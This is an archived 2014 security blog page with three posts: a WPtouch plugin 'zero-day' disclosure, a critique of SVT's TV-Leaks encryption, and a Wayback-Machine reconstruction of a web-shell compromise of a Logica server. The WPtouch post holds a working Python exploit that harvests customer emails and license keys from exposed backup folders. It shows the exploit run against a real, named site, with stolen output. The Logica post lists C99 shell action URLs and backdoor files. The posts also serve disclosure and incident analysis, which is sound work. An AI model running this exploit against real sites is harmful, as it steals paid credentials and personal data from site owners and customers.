Archive for September, 2014

0day: Extracting WPtouch Mobile Plugin License Keys

Wednesday, September 24th, 2014

With 6,030,141 downloads the WPtouch Mobile Plugin is currently the 24th most popular WordPress plugin. The plugin offers “pro” functionality for which the users need to pay money. WPtouch suffers from information disclosure vulnerabilities, and today I’m going to demonstrate how to steal license keys. The vulnerabilities seem to affect most versions up until the current 3.4.10, I have not been bothered to test them all.

Having a quick peak at the pro functionality we can discover this beauty:

wptouch_add_pro_setting(
         'checkbox',
         'automatically_backup_settings',
         sprintf( __( 'Automatically backup settings to the %s folder', 'wptouch-pro' ),
         '<em>/wptouch-data/backups</em>' ),
         wptouchize_it( __( 'WPtouch Pro backups your settings each time they are saved.', 'wptouch-pro' ) ),
         WPTOUCH_SETTING_BASIC,
         '3.0'
),

Sounds like a good idea, right? Automatically backing things up, only a fool would mind that!

Let’s have a look at the wptouch_backup_settings() function located in core/admin-backup-restore.php:

$backup_string = base64_encode( gzcompress( serialize( $settings_to_save ), 9 ) );

$backup_base_name = 'wptouch-backup-' . date( 'Ymd-His') . '.txt';
$backup_file_name = WPTOUCH_BACKUP_DIRECTORY . '/' . $backup_base_name;
$backup_file = fopen( $backup_file_name, 'w+t' );
if ( $backup_file ) {
        fwrite( $backup_file, $backup_string );
        fclose( $backup_file );
}

What this tells us is that we can reverse the backup storing procedure and reading the contents of backup files by:

base64_decode(unserialize(gzuncompress(file_get_contents($backup_file_name))));

Naturally, that is more or less precisely what wptouch_restore_settings() does. wptouch_backup_settings() pretty much uses the same call to wptouch_get_settings() as anything else whenever a WPtouch setting needs to be read. It calls the get_settings(), the general method for loading settings, and returns them as expected.

When WPtouch is being configured it calls wptouch_create_directory_if_not_exist() for each directory required by the plugin to function. This is because the plugin relies on directories outside the traditional wp-content/plugins/ directory.

Namely, for backups, WPtouch creates either the wp-content/uploads/wptouch-data/ OR wp-content/wptouch-data/ hierarchy. (There appears to be some sort of difference between versions or installations, something that I have chosen not to dig very deeply into.) By default WordPress is shipped with an index.php file for preventing directory listing in the wp-content directory.

Yeah, you guessed it: WPtouch doesn’t protect the directory listing of its wptouch-data/backups/ directory. This leaves its often automatically created backups, named as ‘wptouch-backup-‘ . date( ‘Ymd-His’) . ‘.txt’, completely accessible to anybody that knows where to look. Although, the wptouch-data and wp-content directories may of course be renamed and being able to determine their paths is a given for this to work (dork inurl:”wptouch-data”).

When get_settings() is called by the backup routine it includes the plugin’s “BNCID” settings which, in turn, contains the customer’s configured e-mail address, license key and WordPress admin nonce. So I guess you could say that an undocumented pro function of WPtouch is to publicly share the pro user’s credentials so that nobody else needs to acquire them on their own. :-)

Proof of Concept

Hacking it all up targeting the least popular site I could find with my very low patience:

#!/usr/bin/env python2
import mechanize
import lxml.html
import phpserialize
import zlib
import base64

WP_CONTENT_URL = "http://holliava.com.au/wordpress/"
haystack = "wp-content/uploads/wptouch-data/backups/"

b = mechanize.Browser()
b.addheaders = [("User-Agent", "MAsTER hAs AWardEd mE yOuR wpTouCh lICeNSe KeY :PppPPppp")]
b.set_handle_robots(False)

url = WP_CONTENT_URL + haystack
print("[+] KnocKING: %s" % (url))

b.open(url)
r = b.response()
d = lxml.html.parse(r).getroot()
needles = [link.attrib.get("href") for link in d.xpath("//a")]

if len(needles) <= 1:
    raise Exception("[-] NO FILez such fAIl ")

print("[+] wOw mUcH fiLE")

for needle in needles:
    if "wptouch-backup-" in needle:
        url = WP_CONTENT_URL + haystack + needle
        d = b.open(url).read()
        objs = phpserialize.loads(zlib.decompress(base64.b64decode(d)), object_hook=phpserialize.phpobject)
        dict = objs[b"bncid"]._asdict()
        cust_email = dict[b"bncid"].decode("utf-8")
        license_key = dict[b"wptouch_license_key"].decode("utf-8")
        print("[+] %s: %s %s" % (needle, cust_email, license_key))

By running it we get (slightly censored):

$ ./sploit.py 
[+] KnocKING: http://holliava.com.au/wordpress/wp-content/uploads/wptouch-data/backups/
[+] wOw mUcH fiLE
[+] wptouch-backup-20131013-022334.txt: [email protected] acb7f-CENSORED-b25b0-a71a8

Possible fixes

  • Deny www access to the WPtouch backup directory and contained files
  • Optionally encrypt the WPtouch backup files with unique keys (per installation or by passphrase)
  • Optionally exclude critical information (is it really necessary for the plugin to backup the license key?)

TV-Leaks Is Broken and Dangerous

Thursday, September 18th, 2014

In 2013 SVT, Sveriges Television, launched its whistleblowing platform inspired by Wikileaks. TV-Leaks intends to make it easier for Swedish whistleblowers to leak sensitive information to journalists. The problem is that TV-Leaks suffers from a long list of vulnerabilities.

Unencrypted attachments

The form allows visitors to upload files. Even worse: if the encrypted message is too long users are recommended to send it as an attachment instead:

// Check that the lenght of the above is not too long
if ($('#encryptedMessage').val().length > 131072)
{
    alert("Meddelande-texten är för lång, prova med att skicka med en bilaga istället.");
    return false;
}

TV-Leaks does not encrypt attachments:

$('#encryptedMessage').val(openpgp.write_encrypted_message(pub_key, message));

Submitting the form with all fields set to “test” and attaching the file “test.txt” containing the string “test” POSTs the following:

-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="title"\r\n\r\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="files[]"; filename="test.txt"\r\nContent-Type: text/plain\r\n\r\ntest\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="department"\r\n\r\nsvtnyheter\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="name"\r\n\r\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="phone"\r\n\r\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="email"\r\n\r\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="encryptedMessage"\r\n\r\n-----BEGIN PGP MESSAGE-----\r\nVersion: OpenPGP.js v.1.20130712\r\nComment: http://openpgpjs.org\r\n\r\nwcBMA9CgkCCRTSS6AQgAgBc3+aFzhuX9d5tqgKmdP7bbsj/HCZgu7Je1qMMs\r\nvefcPPE8gJfpT2zPB023dG11msmbp+3PUXV4qWPYJiwe0CqjshQR6JpdubB7\r\nmP6qrKPiTlOFxaR5E5PTlr0pfdBch6MblCCngQEUVDCcfTIBWnG/4khb+day\r\n8Dd3x0AD8+PmP7EAS2tdv52nwfXc4oMTMhrNRLTBEo0K4osrfr+83WJ62OcN\r\npBkXIpq6MIwPbmeh6HEm6jfrgWmqgYNdOqpkxCF1dwW0f8mC2KKUkhEhbNSd\r\nrFAycEZSEt9rxNNhYRnH/DstM+s8Pf/AgU/mtkNYwSGn8qapvyTPEa/1eiOw\r\nEtJ7ATXj3qFOUuDzoKPkD5KiVmowYX18pcYMkp73ZWe6HBVPPFc9Ir0QGLg2\r\nR9S6IeFBRRnUueYhFCko5gZz5aGrZCGfZOwRQ0bCpRbMvnSEjBZS6JCZYGD2\r\nd9NuSY0qYwQsdGGNb14VFA01gbHQw+1YZvvoAEKY/StL1V6M\r\n=OigO\r\n-----END PGP MESSAGE-----\r\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="notEncryptedMessage"\r\n\r\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="submitButton"\r\n\r\n\r\n-----------------------------17354154294744539562044116888--\r\n

Notice that the attached file is sent in plaintext:

filename="test.txt"\r\nContent-Type: text/plain\r\n\r\ntest\n\r\n

Outdated and vulnerable OpenPGP.js

TV-Leaks uses OpenPGP.js.

this.versionstring="OpenPGP.js v.1.20130712";

This version is vulnerable to the findings in Cure53’s security audit of OpenPGP.js. Cleartext Messages Spoofing, EME-PKCS1-v1_5 padding uses Math.random(), Cleartext Message Spoofing in Armor Headers, EME-PKCS1-v1_5 Error Handling in RSA Decryption, Errors in EMSA-PKCS1-v1_5 decoding routineErrors in EMSA-PKCS1-v1_5 decoding routine and Side-channel leak in RSA decryption, just to mention the most serious issues.

The pubkey

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: BCPG C# v1.6.1.0

mQENBFJgF40BCACo55jBfaiPg9L8YdFTurB1INum85ia/MP2WsCYaPShltM0qKS/
2UNmv/bXp0Nq7SgYvrs4xYRM2A71AONdXnyzMz7zCB5H3i/U3qF7D0eMMyQAhCPK
bMEXxpo96bOhlWyHnjPFVvXUwS/w1xDNRVrYetc9vAPM1kIOOcuABY8LpHLviVTZ
m+RIQ7akOhUmGekdo4vHGAlPJjOE0hJUh34ZG79Vp9vVDMd6O+CAZQMhO/dpp7zg
Y6TsL37q44vX6dyJuRLqPjvWfQLjJXDii/6LHz1+S+ETDC1RXtkJOCOkuvAl7S+T
/Bmu+nrEHDW5KvvlmfS5L8F7hTnVcwYtozkHABEBAAG0AIkBHAQQAQIABgUCUmAX
jQAKCRDQoJAgkU0kul56B/oCDRFETr9GFOi0ur6hsRfzJ9pD6FL+2ZcDFudPLlxH
pG80wbJf6SRkC6xK6KCrph6NBaE4FFMIXtO9fVX9nqrmCENwynv8Um+epXLDZUNU
J9YBzwnQ4l9+KDJ5lpIC0LrzHrZmUvg0/zeqOM9k5fLnHZTGQKSSX7vrEKwi/V49
TerDrPot2uNw+fs7rSyD17egCqIMK/0HVQcR4/IF/W1GWor8MxGnn7J57y+5fBN7
4AlT8TLEpmH4eZdwikUwgIBb9MPVId1v5RRBtf/gA0J5BBZvzFpe8f+ai+Qg6AYS
kbxcu3GCCDepEPj6NMxUeuIMM3Nzt2RMjsmR5x2KJf36
=CwA4
-----END PGP PUBLIC KEY BLOCK-----

The public key was generated using dodgy BouncyCastle Java crypto library v1.6.1.0. The public key should be replaced by a key generated by something properly functional and well-tested: GnuPG.

2048 bit keys should be considered as a replacement for the current 1024 bit. NIST has disallowed the use of 1024 bit keys after 31 December 2013 because they are insecure. 1024 bit RSA, which TV-Leaks uses, is broken.

Classical JavaScript verification issue

As usual, JavaScript crypto is a risk by nature since there’s no way for the client to verify that the file sent by the server is the expected file. Classic MITM risk with JavaScript crypto, not exclusive for TV-Leaks.

Is TV-Leaks safe to use?

Not at all.

Logica Infiltrated Multiple Times By Automated Tools

Monday, September 15th, 2014

Logica, later CGI, was on the list of hacked companies in what’s been called Sweden’s largest hacking case. In their report on the IT security incident of 2012 they wrote that perpertrators managed to get system access in the end of February 2012, believing 2012-02-25 to be the start date but that series of attack attempts were launched earlier.

On 26th August the Swedish Defence Force (Försvarsmakten), FRA (Swedish National Defence Radio Establishment), Swedish Police and Swedish Civil Contingencies Agency held a talk describing modern cyber threats during a conference on information security held by the Swedish government. The talk mentioned the breaches of Logica’s systems but more importantly it was said that Logica had been hacked months before the incidents involving the mainframe had occurred. The PDF containing the slides from the talk can be downloaded here with page 18 showing a screenshot of a mirrored defacement page.

“When the main investigation started, there were a lot of uncertainties on what parts were compromised or which potentially other systems were involved in the incident. Thus there have been a number of different side tracks during the main investigation.” – Logica security incident report page 28

One of those sidetracks involved a computer named SCAP0023 in Logica’s incident report. At this point it is worth to clarify that the PDF file of the incident report available on the Internet has been scanned from its physical copy and then digitalized. Some characters are incorrect in the PDF due to the OCR, for example “E” may have been incorrectly recognized as “C”. Quoting Wikileaks on the matter: “The material is formally public, but the Swedish prosecution authority has refused to provide the documents in digital format. Photocopying this volume of paper costs around £350.”

Inspired by the way that the Danish Police is able to conduct forensics analysis and securing evidence without even seeing the computers in question I set out to do the same thing. With a little black Internet magic I waded through the Internet Archive Wayback Machine and discovered 108 mirrored URLs for ux.logica.se – the same Logica domain which was hacked before the mainframe intrusions occurred.

“SCAP0023 Server hosting multiple web servers for many legacy companies in the Logica group, e.g. WM-Data.” – Logica security incident report page 22

For the sake of creating a somewhat easily viewable timeline, the Wayback Machine mirrored URLs in the following order:

May  16 2011 http://ux.logica.se:80/.?page=case_study
May  17 2011 http://ux.logica.se:80/index.php?page=case_study
May  17 2011 http://ux.logica.se:80/index.php?page=start
May  17 2011 http://ux.logica.se:80/index.php?page=we_are
May  17 2011 http://ux.logica.se:80/index.php?page=we_do
July 17 2011 http://ux.logica.se:80/index.php?page=contact

One month later, on August 23 2011, Zone-H created the mirror of the defacement page which was included in the talk at the yearly information security conference held by the Swedish government. The ux.logica.se domain had been defaced by ir4dex.

Suddenly the Wayback Machine picked up some interesting paths:

February 15 2012 http://ux.logica.se:80/tmp/cases/case7.php
February 16 2012 http://ux.logica.se:80/tmp/cases/?act=ls&d=E%3A%5CInetpub%5Cwwwroot%5Cux.logica.se%5Ctmp&sort=0a
February 17 2012 http://ux.logica.se:80/tmp/cases/
February 17 2012 http://ux.logica.se:80/tmp/cases/?act=about
February 17 2012 http://ux.logica.se:80/tmp/cases/?act=chmod&f=c999sh_backconn.278.c&d=E%3A%5CInetpub%5Cwwwroot%5Cux.logica.se%5Ctmp%5Ccases
February 17 2012 http://ux.logica.se:80/tmp/cases/?act=selfremove

Half a year after ir4dex defaced ux.logica.se the Wayback Machine was crawling malicious files on Logica’s server: the C99 and Fx29 PHP shells, two popular tools used as as part of automatic website penetration. Not only had Logica been defaced, the Wayback Machine was indexing backdoors six months later.

logica_web_shell

A cached version of the Fx29 shell reveals a server containing four drives: A:\, C:\, D:\ and E:\. E:\ contained the web root directory, more specifically E:\Inetpub\wwwroot\ux.logica.se\, with 5.31/15 GB disk usage. It was running Microsoft IIS 6.0 and PHP 5.2.9 on Windows NT SE-AP0023 5.2 build 3790 as user IUSR_SE-AP0023.

SE-AP0023 sounds like something that would have been incorrectly read as SCAP0023 during the digitalization of Logica’s security incident report. The server was investigated as a side track. Unfortunately Logica wrote very little about its investigation of this server:

“Appendix Y: SCAP0023/www.wmdata.* investigative side track
The SCAP0023 server is a server hosting web pages for Logica, not their customers. The web pages and the domains associated with that system is to host a legacy web for one of the previous company names and companies that make up the current Logica company. The old company was name “WMData”.

The incident involving SCAP0023 was related to defaced web pages, e.g. unauthorized and maliciously changed web pages.

The detailed info from this incident is based on performing analysis of the disk.

SCAP0023 is a Windows server system running IIS.

The defacement was added on multiple web sites hosted by the SCAP0023 server on August 2011, thus many months before the (current) incident involving the mainframe.

A forensic investigation was initiated on the disks that have been part of the system. The investigation showed that the defacements were performed with automated tools. And that the system were attacked and infiltrated multiple times.” – Logica security incident report page 534

The given description fits perfectly with the hacked SE-AP0023 found through the Wayback Machine. By reading the cached versions of the PHP shell we can extract some more interesting details, the files related to the hack:

February 13 2012 12:42:39 E:\Inetpub\wwwroot\ux.logica.se\tmp\cases\
February 13 2012 13:18:24 E:\Inetpub\wwwroot\ux.logica.se\tmp\cases\c999sh_backconn.278.c
February 13 2012 13:19:01 E:\Inetpub\wwwroot\ux.logica.se\tmp\cases\c999sh_backconn.756.pl
February 13 2012 13:38:17 E:\Inetpub\wwwroot\ux.logica.se\tmp\cases\case7.php
February 13 2012 14:40:43 E:\Inetpub\wwwroot\ux.logica.se\tmp\cases\nc.exe
February 25 2012 15:42:13 E:\Inetpub\wwwroot\ux.logica.se\tmp\cases\attack(1).asp
February 26 2012 07:04:51 E:\Inetpub\wwwroot\ux.logica.se\tmp\cases\11.aspx
March    19 2012 05:01:46 E:\Inetpub\wwwroot\ux.logica.se\tmp\cases\sa.php

Logica wrote in its report that it believes 25th February 2012 to be the first day of relevant attacks. You should notice that this was the first day that somebody uploaded a file with an ASP file extension: ”attack(1).asp”. However, even before this day, the server had been defaced and backdoored for even longer and the only action that Logica took was to remove the defacement page, leaving both vulnerabilities and backdoors in production.

It appears that all intrusions against this webserver occurred through the same vulnerability which enabled attackers to write to the .\tmp\cases\ directory, which in the Wayback Machine’s latest crawl of the PHP shell was listed as both readable and writable for the user serving the web content.